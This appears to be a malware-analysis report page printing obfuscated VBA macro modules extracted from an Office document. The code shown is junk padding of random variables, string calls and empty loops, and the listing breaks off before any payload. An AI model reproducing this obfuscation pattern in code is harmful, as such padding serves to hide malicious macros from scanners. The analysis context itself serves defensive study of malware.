            xNhkX = Right("    ] s y q.cH$Nt.ju", 2)
            UceDGEPB = UCase(" .OnEC LiK ")
            sBFXeK = Space(18)
            pkOPJqQ = UCase("Iani$PUaOQ")
            NFHeINmDenRm = LTrim(".  qM xaL&K .  iY")
            bhfpjPtTfMP = Space(15)
            sBFXeK = "? uTMP%H Zx)" + "Q e% ZBuTu " + "&]w Ecr K!$"
            DzsWWGxx = LTrim("(w  JE &O ^f] ?elA")
            SjdmFyAeQw = 178 - 1613 - 191
            AJYkZr = 1338 + 1174 + 603
            ILCeyR = ILCeyR + 2
        Wend

        XuPHqvEARmk = 1981 + 796 + 531
        mevEuFSvSlzr = 414 + 855 + 461
        QjHScW = 1696 + 1326 + 1374
        fMSVEgkiTQ = Left("SoI sjl]eB  ", 3)
        AJYkZr = UCase("%) B?U  (F?$Oc  ")
        EqSujv = EqSujv + 3
    Wend

    FLrdTjglwqu = UCase("z$svcq  hi id")
    hZMGYicfd = UCase("( _OI B)l FI")
    aBOyirt = Space(10)
    XuPHqvEARmk = Space(15)
    For PxZsFy = 0 To 5
        While vIGJYK < 1
            tQuWtho = Space(14)
            BRbQWGztHXve = Right("? grN GJRf d", 3)
            mevEuFSvSlzr = Space(19)
            bhfpjPtTfMP = Space(19)
            gYrlxLCTizHu = 571 - 810 - 1701
            NFHeINmDenRm = LTrim("X FAjyT!ZxkNy.v")
            vIGJYK = vIGJYK + 3
        Wend

        cQYOSbc = 1288 + 421 + 897
        vRTiU = 1792 + 328 + 1997
        PIMAZNcECI = Left(")I ]WZ&kE-", 2)
        dZjMSlQrWsH = Space(16)
        fMSVEgkiTQ = Left("   xXvwuw L vV[", 4)
        aBOyirt = 647 - 1279 - 795
        sBFXeK = 1474 + 1296 + 270
        pUiwcYiIqa = Space(2)
    Next PxZsFy

    DzsWWGxx = 695 - 1948 - 503
    XioKNGIZJ = LTrim("Li  DxWFgZs ")
    cQYOSbc = Right("-( f ![N ]aUcDHf^", 3)
    pUiwcYiIqa = Space(16)


End Sub



Attribute VB_Name = "Module1"

Function IHOXUV(qVOxaB As Double, NEKrqw As Double, FXKzYZ As String) As String
    sBFXeK = Right(" Y(Z@_( E ]HJClyca", 4)
    BRbQWGztHXve = 927 - 648 - 1017
    jOZlNIcKIC = UCase("N] ckgV FV %yIajWF N")
    DzsWWGxx = RTrim("^LP-@i^RG OEvbzlf dD")
    mrkMobRFsp = "zx c.gyxT$ OUvB WJ" + "Gw.T!o  )JUu" + "-hL H@ !CzEVRq"
    For zJHzPk = 0 To 2
        While xGUMoI < 2
            XuPHqvEARmk = Right("kg?  ew] r..(Zk%?h", 2)
            tHwDKmb = 1873 + 1699 + 956
            gYrlxLCTizHu = Right("u#_Ym v^-#!  m", 2)
            gYrlxLCTizHu = "[i i(a[Bb ITm  F eg" + "#X L)M zsfxRyA&  " + "c r  T@xU "
            vxXfyklVpbf = 1743 - 1376 - 1733
            tHwDKmb = Left("iIY eD G%C ", 3)
            xGUMoI = xGUMoI + 1
        Wend

        NFHeINmDenRm = LTrim(" pRcY  ssIS]# ")
        XuPHqvEARmk = Space(7)
        xNhkX = StrReverse("@hUUNw LiDh")
        yZxyDJvlux = StrReverse(" k^ X  -WC")
        tHwDKmb = " byDwDUC) " + " hX-DO Vok" + "$  IWXQ t l"
    Next zJHzPk

    EdFTnkb = Space(9)
    PIMAZNcECI = Right("g Y KPO s-@l C", 2)
    IHOXUV = "zsJLJYHy"
End Function


Sub ankcuY(BbEHKmS As Integer, guHYhKv As Integer, iqVQFe As Integer, gHEYRLf As Integer, Iyjxvt As Integer)
    FLrdTjglwqu = Left(" rk  D]m Q__ x PODM ", 5)
    tQuWtho = 505 + 898 + 1281
    PIMAZNcECI = UCase("  R %  oH n[LK ")
    QjHScW = 429 - 728 - 121
    For YmPvxb = 0 To 2
        For nsNTbR = 0 To 7
            jOZlNIcKIC = 1357 - 278 - 1716
            pkOPJqQ = "- H_lzw fDhq nOZ _ " + "F#oL &pt   m b?b " + " [_Rq%os% "
            hZMGYicfd = "U yp  mT ^ [Z zmtg " + "# L p! Qt$ gQwiwSs y" + "$y $oG?Yy S%TmJ! ddF"
            XuPHqvEARmk = Space(9)
            gYrlxLCTizHu = Left("e rIHu J !^ O WUOz", 4)
            pkOPJqQ = Left("cFm!xy$   yjs_Ez", 4)
            JUZhE = "t ^itz#P  " + "w[ygxF@Y^CPk v-BN ^" + " ]Q$UNkx%M kN x? _nh"
        Next nsNTbR

        tQuWtho = 626 - 992 - 362
        WLGcZrXvvb = "_$BV.EoX  ! Reg  Ogj" + "de^ v gO [#" + "   Ad [U pb.B &z"
    Next YmPvxb

End Sub



Attribute VB_Name = "Module2"

Function PXJshN(GfbqOlW As Integer) As String
    XuPHqvEARmk = Space(4)
    sQGBaeQYyxAf = 700 + 595 + 642
    cQYOSbc = RTrim("ulss h? f %  eT")
    dZjMSlQrWsH = "Y JZ#(hSYVV_.U H" + "rBBRw ojLgo# qd NK s" + "Ozq & w YJ_AH  c wn"
    hZMGYicfd = StrReverse("x LYxs& #Q% F.yKspkc")
    PXJshN = "MiNSc"
End Function



Sub YkESmk(qcOzoZ As Double)
    cQYOSbc = RTrim(" wjyNy iTv  ")
    bhfpjPtTfMP = UCase("l  D?%  G-   MuD_")
    xNhkX = Space(16)
    UQCrGhIQO = "zHcgUb#YDq" + " p vkjNXJn)kJZ " + "jCHZ  zrapQ W"
    While TGYVkM < 4
        vxqGmzQ = 563 + 452 + 362
        QjHScW = Right("lyux(f-?nDvch N m]", 2)
        ofigNif = UCase("Y  .  b-&a[@D&")
        SjdmFyAeQw = RTrim("J - ? d dt& G")
        DXliZU = StrReverse("HSE   p EvBodFfy^")
        UQCrGhIQO = LTrim("qi]S b czFYanmDuo XI")
        vRTiU = 1430 + 316 + 1834
        JUZhE = LTrim("KoRw tDM  M")
        EdFTnkb = Space(6)
        ofigNif = Right(" p  bg S)BWJ f TG", 5)
        TGYVkM = TGYVkM + 2
    Wend

    tfdul = LTrim("@nc  s !HsiV@  I(Qlr")
    QjHScW = StrReverse(" rbVxEL UHR UWbVEUm?")
End Sub



Function zRhYUi(XKUTYM As String, WysckRL As Boolean, HmslRTW As String) As String
    tfdul = Right("! ( W -l nwx ", 5)
    QjHScW = LTrim("dGj   vQuuSx-M xk")
    cQYOSbc = RTrim("te d U Wc  ?TtV C]K ")
    WLGcZrXvvb = "p cZ- Xwj@ ?" + " rLlG EQ -X?" + "[V I  @T)iI^PH"
    PIMAZNcECI = StrReverse("k^fgb  [ Ia  ")
    JUZhE = " h s R  L[Jb J" + "s?Y U. Euuxo" + "jf_[f Hxtns"
    DXliZU = 1222 - 1398 - 894
    FLrdTjglwqu = Right(" -qP# zUC n(r", 3)
    WLGcZrXvvb = 1643 + 1351 + 511
    zRhYUi = "FLLJuVkHO"
End Function



Function qXMkPF(oEkIbn As String) As String
    FLrdTjglwqu = 360 - 1166 - 1508
    sQGBaeQYyxAf = RTrim("b Vm n )  E   SYhH")
    aBOyirt = Right("xh N Mw TRudU", 3)
    While GdeUiE < 4
        xNhkX = 790 - 962 - 1789
        DXliZU = StrReverse("  Lm fm y?")
        BRbQWGztHXve = RTrim("rw jJ    .K ")
        AJYkZr = "V EAoNCQH ^  &  #r" + "o m    I  u^N K  " + "BX    fKD hye"
        mevEuFSvSlzr = LTrim("r- Ctxp% X CJT")
        GdeUiE = GdeUiE + 1
    Wend

    tfdul = LTrim("DY[(TJz)y  -.DB")
    PIMAZNcECI = Left(" b wI  !ZHwr ", 4)
    XioKNGIZJ = LTrim("F YA f   h E T IVt I")
    qXMkPF = "jaOSRHz"
End Function



Attribute VB_Name = "Module3"

Function CIleGZ(dylARFl As String, DrqwkI As Boolean, EqrgDl As String) As String
    sQGBaeQYyxAf = LTrim("bdSe&-hS&%U")
    DzsWWGxx = Space(17)
    UceDGEPB = RTrim(" H%yRh W $ Du LRU")
    sQGBaeQYyxAf = RTrim(" uXBX& a vY")
    pUiwcYiIqa = "&?iW $mpg " + "B SJ D   rNj$ -dSP%s" + "G_ Kv! H s$ gayr "
    CIleGZ = "eupIh"
End Function



Attribute VB_Name = "Module4"

Sub NqqqDh(atEKkMd As String, duwvgJx As Double, dWukHU As Boolean, YLRfhi As Double, kRaduTc As Integer)
    BRbQWGztHXve = UCase("I  xFUZ@Bjq[L$W  ")
    QjHScW = 1988 + 845 + 1300
    While JIqULp < 4
        SjdmFyAeQw = StrReverse(" g lS.a LIZdi ")
        DXliZU = Right("df_Tax uVRvlOvF", 2)
        DzsWWGxx = Left("WA G  M FY!X A AAX.q", 3)
        vRTiU = Left(" X Ly wEqq ", 4)
        EdFTnkb = 728 - 856 - 999
        NFHeINmDenRm = "Bt%S]  ]W?vlrBt]Q" + "  OLkAcTOA " + "CcW!   CjTpI l @"
        xNhkX = RTrim(" O  Jl[S^   (  U ")
        WLGcZrXvvb = LTrim(" @Ww! V@ Y gZAW")
        ofigNif = 534 + 1108 + 1907
        JIqULp = JIqULp + 1
    Wend

    BRbQWGztHXve = 417 + 183 + 971
    mevEuFSvSlzr = " S@M-jh ]f& " + "A PhzH   o?  &Lb.UC" + "D O&sWskH xyF vtC"
End Sub



Sub AzTEty(NiJkDM As String, grqlhej As String, QCOGxOp As String, kRWbqM As Integer, vfoNJIn As Boolean)
    tHwDKmb = 1691 + 1173 + 1941
    HLrkyyVMMfDI = RTrim("Uvuq ]Fn  G k_ ")
    PIMAZNcECI = UCase(" je  _$NMy  UB  g ")
    WLGcZrXvvb = Space(16)
    SjdmFyAeQw = RTrim("&zZrZXej B-Ho Wm?")
    For AjquuR = 0 To 9
        tfdul = 1467 + 503 + 1688
        UQCrGhIQO = StrReverse("XQHHr I jq& ?xQ")
        cQYOSbc = Space(11)
        pUiwcYiIqa = "  o r dq(Q R " + "RZO[Q jc#m  dV&)oLr " + "SB uD-wcf cbZ DHB_-"
        bhfpjPtTfMP = "b W[rqK i%R " + "p%s  ]aZVb  r ! " + " v   ihT wU"
        FLrdTjglwqu = 1891 - 1488 - 1554
        PIMAZNcECI = "_HlFAiJt$AXK )" + "O bzV_   (eK@]  L a" + "CDLZOzHw T u"
        gYrlxLCTizHu = RTrim(" OkifV%x f ARhM")
        pkOPJqQ = StrReverse("OjK^ ax_ (Xf")
    Next AjquuR

    UQCrGhIQO = Right(" ) QOEplm) % Z#zw L", 3)
    NFHeINmDenRm = LTrim("GN .Dfl $_X  [N)O^ ")
    DzsWWGxx = Right("Ni qy  dWvnq", 4)
End Sub



Function lckEFO(JlQiHd As Boolean, iRtrWBY As Boolean, xlbKzU As Boolean, fuWMRTQ As Integer, xvEJDCY As String) As String
    While BDxwrq < 1
        While QmmHSZ < 3
            FLrdTjglwqu = Right("s#TkR ZVnC)oT", 2)
            BRbQWGztHXve = "Sec _[jlmyp CXS  " + " V  oytTi CY." + "w  FRX SDPRq #uuGl"
            NFHeINmDenRm = RTrim("c? K)#]W?$ c ")
            EdFTnkb = Left("snnWf c _QgHi) ", 3)
            JUZhE = "fPQNlH ZIWh)Fn-#V" + "f mA)[ MP " + "oa--u!Hh@Z hJVzeG "
            pUiwcYiIqa = "q_Xk   WM t J[B_" + "FL!Rn  l qm   y&" + " & (?C  KZ mbh hNs "
            sBFXeK = 504 + 1765 + 1643
            QmmHSZ = QmmHSZ + 1
        Wend

        fMSVEgkiTQ = UCase("e SY  [Uz%VE  i #ciT")
        AJYkZr = 1394 - 424 - 309
        BDxwrq = BDxwrq + 2
    Wend

    While pOhpGV < 3
        While MOkRZW < 4
            XioKNGIZJ = Right("c.I OE  rrz  qmfV", 2)
            oqOqqWho = LTrim("FVf   iycPGdJh#")
            cQYOSbc = UCase("jNpIzhP-  kjyVBfK")
            sQGBaeQYyxAf = LTrim("a  x n  Z  C Vi ")
            JUZhE = LTrim("I!M a ?kv  ?!")
            dZjMSlQrWsH = RTrim("DP?dtGZl WY(N")
            tQuWtho = LTrim("XQl t  [Jz$$ R")
            tQuWtho = 586 - 1482 - 1797
            MOkRZW = MOkRZW + 2
        Wend

        oqOqqWho = 262 - 284 - 914
        HLrkyyVMMfDI = Left("nY  N.H WbGW", 4)
        DzsWWGxx = "u  ]#C% ! iG-  #K" + " -U eT ]BX[lr" + "CQ hqY. w@ "
        XioKNGIZJ = Right("y&Az ?o.@c ^ l   ", 2)
        pOhpGV = pOhpGV + 2
    Wend

    oqOqqWho = Space(8)
    bhfpjPtTfMP = Left("  C   i??[ZCj U", 3)
    DmWwoGQtu = UCase("-ZRXfpbNYIC^m")
    lckEFO = "pxkvw"
End Function



Attribute VB_Name = "Module5"

Sub NIWeHk(eaVKBLI As Boolean, jMkdhq As Boolean, eVHNlp As Double, ZksyqP As Double, RMZZKN As Double)
    PIMAZNcECI = Left("?KTZPvzBVL[KP  ", 5)
    While VVUafw < 2
        For yrDCFQ = 0 To 10
            bhfpjPtTfMP = StrReverse("p)(   yO J .NG G ^p ")
            UQCrGhIQO = 1032 - 566 - 1120
            vxXfyklVpbf = StrReverse(" G  j&qIC^vI")
            sBFXeK = LTrim("qEr$oUIld[ h h")
            hZMGYicfd = 1464 + 899 + 441
            NFHeINmDenRm = RTrim("? QGdxckKJu")
            UQCrGhIQO = StrReverse("K?uK#BM(U qmK")
            DXliZU = ") KqRaDQGt ?cH $?" + "je[ k]@ILX" + "B.)tcO!   "
        Next yrDCFQ

        DXliZU = UCase("      PAZ@[Y")
        dZjMSlQrWsH = UCase("t[ EG@ )Cu")
        pkOPJqQ = LTrim("h?Hk] zgub Ge[N ")
        VVUafw = VVUafw + 1
    Wend

    xNhkX = 1696 - 1762 - 828
    XuPHqvEARmk = 1958 + 365 + 1559
    SjdmFyAeQw = StrReverse("E#HH V E@tB tqTY")
    While guJJBT < 2
        For jKLieg = 0 To 8
            HLrkyyVMMfDI = Space(3)
            tfdul = Space(13)
            NFHeINmDenRm = Left(" Guq_ PxS)MT", 3)
            XuPHqvEARmk = 1360 - 1008 - 668
            DXliZU = "K&-vcaSHf#g(J b" + " )dHW?  XsdlA" + "a P^sx& [Ay eJX  "
            DmWwoGQtu = RTrim(" aGFEia h^")
            SjdmFyAeQw = 938 + 1176 + 1658
            oqOqqWho = 132 + 791 + 895
            XuPHqvEARmk = RTrim("pU%^ODN wJ D@tS U$H ")
        Next jKLieg

        JUZhE = LTrim("!X -j[is!U^ bM")
        hZMGYicfd = StrReverse("oAaKSC apj_!U  s#")
        tHwDKmb = Space(4)
        DzsWWGxx = StrReverse(" gh F?)(qE&!  )TS&kz")
        vRTiU = UCase("DjMqS xL ( $FT J")
        FLrdTjglwqu = Left(" n ^q t @Q ", 5)
        fMSVEgkiTQ = RTrim("P @gMTH^Cu")
        guJJBT = guJJBT + 3
    Wend

End Sub



Function wZNlCq(TQMJwEV As String) As String
For KoQLMK = 0 To 9
    tQuWtho = 321 + 1311 + 636
    vxqGmzQ = UCase("!  vUQ )uUEZP q")
    xNhkX = Right(" G?Sl c  HIxC", 4)
    mevEuFSvSlzr = 495 + 102 + 1037
Next KoQLMK
While vdXAyM < 2
    pkOPJqQ = Left("nTE ECAhV   )](YjR", 5)
    UQCrGhIQO = Left("IT.$ L_bb hDt.qFmUn", 3)
    cQYOSbc = Left("]x  l  )YlUahMBK]N", 3)
    UQCrGhIQO = LTrim("uU?O$ e%P@#[ Hy  s")
    jOZlNIcKIC = Space(17)
    UceDGEPB = Right(" eyKm#fu r$a", 2)
    vRTiU = LTrim("  bd ).^XPl? B ")
    vxXfyklVpbf = LTrim(" COYF[TfV%stmBrH]B")
    HLrkyyVMMfDI = StrReverse("p ) Rkfn.IV r  ")
    DXliZU = 793 - 1822 - 132
    vdXAyM = vdXAyM + 1
Wend
aBOyirt = StrReverse("UixLsLx.r @$@ A")
QjHScW = RTrim("gNdeyp) t %^kos")
While lEvkAY < 2
    DmWwoGQtu = LTrim("aL    nME(iB ?y ")
    XuPHqvEARmk = 100 + 1241 + 1368
    lEvkAY = lEvkAY + 1
Wend
While TKJLaJ < 2
    For HcnKep = 0 To 5
        UQCrGhIQO = Space(8)
        oqOqqWho = Space(12)
        mevEuFSvSlzr = 974 + 1940 + 1048
        WLGcZrXvvb = " Z M$ Zyl_x%f Ri" + "   GG[Aj@vNyZx iA!" + "o Gdtu CYoJ  #"
        QjHScW = RTrim("W?& Q &J  ja bwAP")
        bhfpjPtTfMP = StrReverse("KEbq X  l#[  ")
    Next HcnKep

    mevEuFSvSlzr = 380 + 921 + 609
    UceDGEPB = Right(")PWTDD W(k-Xf ", 2)
    mrkMobRFsp = RTrim("R H mqTiZ JR i cr")
    sQGBaeQYyxAf = 891 - 1218 - 1216
    TKJLaJ = TKJLaJ + 1
Wend
While JpLPyd < 1
    fMSVEgkiTQ = 544 - 1476 - 1062
    UceDGEPB = UCase("$ &  H-ZHFPL-]")
    QjHScW = StrReverse("  Pr DnK% QRzx ")
    DXliZU = 1904 + 527 + 456
    jOZlNIcKIC = "R B  &iytZ]Z(  " + "NZ.N] HK tU U_ azuZ" + "(Rts aUr] "
    AJYkZr = "Z% P   ?^Quef" + "f  hwn@KNn gb hYg" + "r FEi  mJyE@k?VBXK C"
    JpLPyd = JpLPyd + 1
Wend
XioKNGIZJ = UCase("NE&  d PCl")
    Dim tVmEXejY() As Byte
    UQCrGhIQO = Right("   Eq% X]wr! JKL", 3)
    While WfCiDr < 5
        HLrkyyVMMfDI = StrReverse("CCW.#?nK( Npk")
        dZjMSlQrWsH = Left("U %] #nP W- BP", 4)
        aBOyirt = RTrim(" Lir rD %E&% TSS ")
        tQuWtho = RTrim("FE Czk ZWMT")
        tQuWtho = 973 - 352 - 226
        oqOqqWho = "  _Hm s %  pv" + "?z[ # fV -tabH n#w y" + "Bqt-  VMLy"
        WfCiDr = WfCiDr + 3
…

Open this report in the interactive analyzer, or submit your own file for analysis.